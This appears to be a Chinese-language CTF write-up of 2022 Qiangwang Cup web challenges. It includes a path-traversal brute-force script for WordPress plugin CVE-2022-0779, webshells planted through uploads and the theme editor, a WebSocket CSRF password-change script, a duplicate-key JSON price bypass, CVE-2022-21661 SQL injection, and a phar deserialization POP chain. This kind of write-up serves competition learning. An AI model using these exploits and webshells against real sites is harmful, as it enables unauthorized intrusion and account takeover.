前言

每次打这种大型比赛都很坐牢,但同时也能学习到很多新东西,赛后复现是提升的关键

强网先锋系列

rcefile(预期解)

打开题目是个文件上传,经过测试上传txt文件修改文件类型成功上传,在返回包set-cookie里发现异常 url解码后得到:

a:1:{i:0;s:36:”5ab82a9e14865e78d2c8cf484259f3e0.txt”;}

扫描目录发现备份文件,下载打开源码在config.inc.php文件里发现userfile的cookie会被反序列化,同时这里spl_autoload_register函数在未指定的情况下会自动包含类名“.php”或类名“.inc”的文件,并加载其中的类名类。 这里p神的博客有写: https://www.leavesongs.com/penetration/sangebaimao-2015-11-12-ctf.html .inc文件不在过滤名单里,上传一个.inc的一句话木马文件(同时写入phpinfo用于回显),找到回显的文件名,构造一个以文件名为类名的序列化数据 将构造好的序列化数据编码放入cookie,执行cat /f*得到flag

rcefile(非预期)

上传phar后缀的一句话木马,蚁剑链接在根目录找到flag

WP-UM

这道题是thai师傅解出来的,解题过程我没怎么参与,赛后跟着他的思路复现一下 打开环境得到提示: 1、账号密码分别隐藏在username和password文件夹中文件的文件名里 2、隐喻wordpress插件存在漏洞 3、flag的格式是flag{} 既然可能存在漏洞就用wpscan扫一下,找到robots.txt文件 在网页上安装wordpress后发现MaoGePaMao账户 在源码的wp-content/plugins/目录下寻找存在的插件,发现三个插件:

Hello Dolly1.7.2 User Meta-User Profile Builder and User management 2.4.3 Akismet Spam Protection 4.2.4

分别去查了下这几个插件的功能和版本,其中用于用户管理且不是最新版本的UserMeta可疑最大 在网上搜索该版本漏洞,发现2.4.3版本的CVE-2022-0779,是一个Path遍历漏洞 结合给的提示密码藏于password文件夹中的文件名里,编写一个脚本利用目录遍历去依次访问这些文件,拼接文件名得到密码 附上thai师傅的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
import requests

url = "http://eci-2zeao4g9p62zgdb5p22a.cloudeci1.ichunqiu.com/wp-admin/admin-ajax.php"

headers = {
"cookie": "wordpress_154c35e4c1481106cd83199d9a222506=thai1%7C1659410717%7CmLoQ7b1JRcjssxj9qyptp5WRvxSOFTSnmsOlTLgIMTv%7C48dda60795fdf5cf4ad99d7d9c898f0a0d409af55b3e1127b735eb26ba73f42c; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1658145704; wordpress_logged_in_154c35e4c1481106cd83199d9a222506=thai1%7C1659410717%7CmLoQ7b1JRcjssxj9qyptp5WRvxSOFTSnmsOlTLgIMTv%7C89e7a880ae0017f0713acceaf9c106a3f00db397b23fb4e6e0f38286c232ebf2"
}

proxies = { "http": None, "https": None}

username = ''

# username = MaoGePaMao


for num in range(1,16):

flag = 1

for i in range(65,91):
data={
"field_name":"upload",
"filepath":"/../../../../../../../../password/"+str(num)+chr(i),
"field_id":"um_field_2","form_key":"upload","action":"um_show_uploaded_file",
"pf_nonce":"4b2836007f","is_ajax":"true"
}


r = requests.post(url=url,headers=headers,data=data)
print("test "+chr(i)+" ................")
if "um_remove_file" in r.text:
print("[*]It must be this: "+chr(i))
username = username + chr(i)
flag = 0
break

#print(r.text)
if flag == 0:
continue

for i in range(97,123):
# url0 = url+chr(i)
# print(url0)
# r = requests.get(url=url0)
# print("test "+chr(i)+" ................")
# if r.status_code != 404:
# print("[*]It must be this: "+chr(i))
data={
"field_name":"upload",
"filepath":"/../../../../../../../../password/"+str(num)+chr(i),
"field_id":"um_field_2","form_key":"upload","action":"um_show_uploaded_file",
"pf_nonce":"4b2836007f","is_ajax":"true"
}


r = requests.post(url=url,headers=headers,data=data)
print("test "+chr(i)+" ................")
if "um_remove_file" in r.text:
print("[*]It must be this: "+chr(i))
username = username + chr(i)
break

print("now username is "+username)

print("***************")
print("[*]username : "+username)

爆破得出密码:MaoGeYaoQiFeiLa 使用账号密码登录 username:MaoGePaMao password:MaoGeYaoQiFeiLa 登陆找到主题编辑页面插入php一句话 该文件目录:

/wp-content/themes/twentytwenty/footer.php

蚁剑连接得到flag:

WEB部分

babyweb

打开题目后注册账号登陆发现一个机器人页面,输入help得到提示 查看源码,发现js页面有通讯代码请求ws://window.location.host/bot 机器人的bugreport可以访问url,changepw可以修改密码,可以在自己的vps上构造恶意修改密码的代码,利用机器人的bugreport指令去访问 vps的代码

1
2
3
4
5
6
7
<script>
var url = "ws://" + "127.0.0.1:8888" + "/bot";
var ws = new WebSocket(url);
ws.onopen = function(e) {
ws.send("changepw 123456");
}
</script>

bugreport vps/1.html 成功访问后回到登陆页面,用admin/123456登录,来到商店页面 购买flag钱不够,先买hint,购买后得到一个目录,访问得到源码,发现一个py文件和一个go文件 通过审计源码发现在app.py里购买东西时的id,num有限制无法随意修改,但在app.py页面传参时使用的get_json获取数据,他的特性是同一键值后者的值会覆盖前者,而向pay页面提交时使用的是get_data,这个函数可以保留全部键名相同的数据,所以构造这样一个payload来绕过app.py里的num判断,同时在pay页面遍历的时候也可以获取到我们修改的数据

1
2
{"product":[{"id":1,"num":0},{"id":2,"num":-1}],
"product":[{"id":1,"num":0},{"id":2,"num":0}]}

抓包提交数据,利用负数增长足够的money购买flag

easylogin

这道题打开后发现还是一个wordpress博客框架,使用wpscan扫描发现版本号为5.8.2 存在CVE-2022-21661漏洞 在/wp-admin/admin-ajax.php处存在sql注入 通过一系列注入操作整理出以下数据:

wordpress:wordpress@localhost 存在的库:wordpress、moodle wordpress库中: 库中结构基本都是默认表名字段名 在wp_users表的user_pass字段和user_login字段中找到账户和密码 账户:adminadminadminaaaaa 非明文密码:$P$BDjRXjFtasdsadsadadsadsa9F/2dqHptUO1ecj4V4odkv1

moodle库中在比赛时未找到可利用数据 账户的非明文密码尝试爆破解密未成功 在8888端口发现moodle框架,猜测moodle数据库中存在密码,同时该页面发现cookie,但在数据库中也没找到其账户cookie值。 sqlmap工具尝试注入被封了一次ip,另一次延时也没有成功,最终这道题只进行到这里

easyweb

打开题目看到文件上传界面,还有一个showfile.php?f=xxx的页面,可进行目录穿越 /showfile.php?f=guest/../class.php 用御剑扫了一下,得到几个php源码文件,index.php、class.php、showfile.php,读取class.php的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
<?php
class Upload {
public $file;
public $filesize;
public $date;
public $tmp;
function __construct(){
$this->file = $_FILES["file"];
}
function do_upload() {
$filename = session_id().explode(".",$this->file["name"])[0].".jpg";
if(file_exists($filename)) {
unlink($filename);
}
move_uploaded_file($this->file["tmp_name"],md5("2022qwb".$_SERVER['REMOTE_ADDR'])."/".$filename);
echo 'upload '."./".md5("2022qwb".$_SERVER['REMOTE_ADDR'])."/".$this->e($filename).' success!';
}
function e($str){
return htmlspecialchars($str);
}
function upload() {
if($this->check()) {
$this->do_upload();
}
}
function __toString(){
return $this->file["name"];
}
function __get($value){
$this->filesize->$value = $this->date;
echo $this->tmp;
}
function check() {
$allowed_types = array("jpg","png","jpeg");
$temp = explode(".",$this->file["name"]);
$extension = end($temp);
if(in_array($extension,$allowed_types)) {
return true;
}
else {
echo 'Invalid file!';
return false;
}
}
}

class GuestShow{
public $file;
public $contents;
public function __construct($file)
{

$this->file=$file;
}
function __toString(){
$str = $this->file->name;
return "";
}
function __get($value){
return $this->$value;
}
function show()
{
$this->contents = file_get_contents($this->file);
$src = "data:jpg;base64,".base64_encode($this->contents);
echo "<img src={$src} />";
}
function __destruct(){
echo $this;
}
}


class AdminShow{
public $source;
public $str;
public $filter;
public function __construct($file)
{
$this->source = $file;
$this->schema = 'file:///var/www/html/';
}
public function __toString()
{
$content = $this->str[0]->source;
$content = $this->str[1]->schema;
return $content;
}
public function __get($value){
$this->show();
return $this->$value;
}
public function __set($key,$value){
$this->$key = $value;
}
public function show(){
if(preg_match('/usrautolog/i' , $this->source))
{
die("error");
}
$url = $this->schema . $this->source;
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_HEADER, 1);
$response = curl_exec($curl);
curl_close($curl);
$src = "data:jpg;base64,".base64_encode($response);
echo "<img src={$src} />";

}
public function __wakeup()
{
if ($this->schema !== 'file:///var/www/html/') {
$this->schema = 'file:///var/www/html/';
}
if ($this->source !== 'admin.png') {
$this->source = 'admin.png';
}
}

看到这几个类结合前面的文件访问接口,考虑是phar反序列化上传,先构造phar链子 思路: 起始点是Guestshow的destruct魔术方法,利用echo去触发upload中的echo,tmp赋值为Adminshow对象去触发他的tostring方法,让str[0]和str[1]分别等于两个Upload对象,利用其->souce和->schema触发Upload中get方法,设置filesize参数为Adminshow对象,第一个对象的date参数对应source的值,第二个对应schema的值,这样就实现了$curl值可控,同时让第二个Adminshow对象的tmp参数等于GuestShow对象,利用echo触发GuestShow的tostring方法,给GusetShow的file值设置成AdminShow对象去触发get方法间接触发show方法去执行$curl。当时链子有点问题复现的时候又改了下,这样一条完整的链子就构造好了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
class AdminShow{
public $source;
public $str;
public $filter;
}
class Upload{
public $file;
public $filesize;
public $date;
public $tmp;
}
class GuestShow{
public $file;
public $contents;

}
$a=new AdminShow();
$b=new GuestShow();
$b1=new Guestshow();
$c=new Upload();
$c->tmp=$a;
$c1=new Upload();
$c1->filesize=$a;
$c1->date='';//设置source参数
$c2=new Upload();
$c2->filesize=$a;
$c2->data='';//设置schema参数
$c2->tmp=$b1;
$a->str[0]=$c1;
$a->str[1]=$c2;
$b->file=$c;
$b1->file=$a;

$phar=new Phar("shell.phar");
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->setMetadata($b);
$phar->addFromString("test.txt","test");
$phar->stopBuffering();
?>

重新审计代码发现上传文件的命名规则 $filename = session_id().exp1ode(".", $this->file["name"])[0].".jpg" ; 这里后面强制替换jpg后缀对phar没有影响,但我们需要得到前面拼接的session,尝试PHP_SESSION_UPLOAD_PROGRESS文件去获取session 但是在文件上传的时候遇到了一些问题,在比赛的时候进度就止步于此了 强网的靶场24小时就关了,接下来的只能等各大靶场复现环境和大佬们的wp了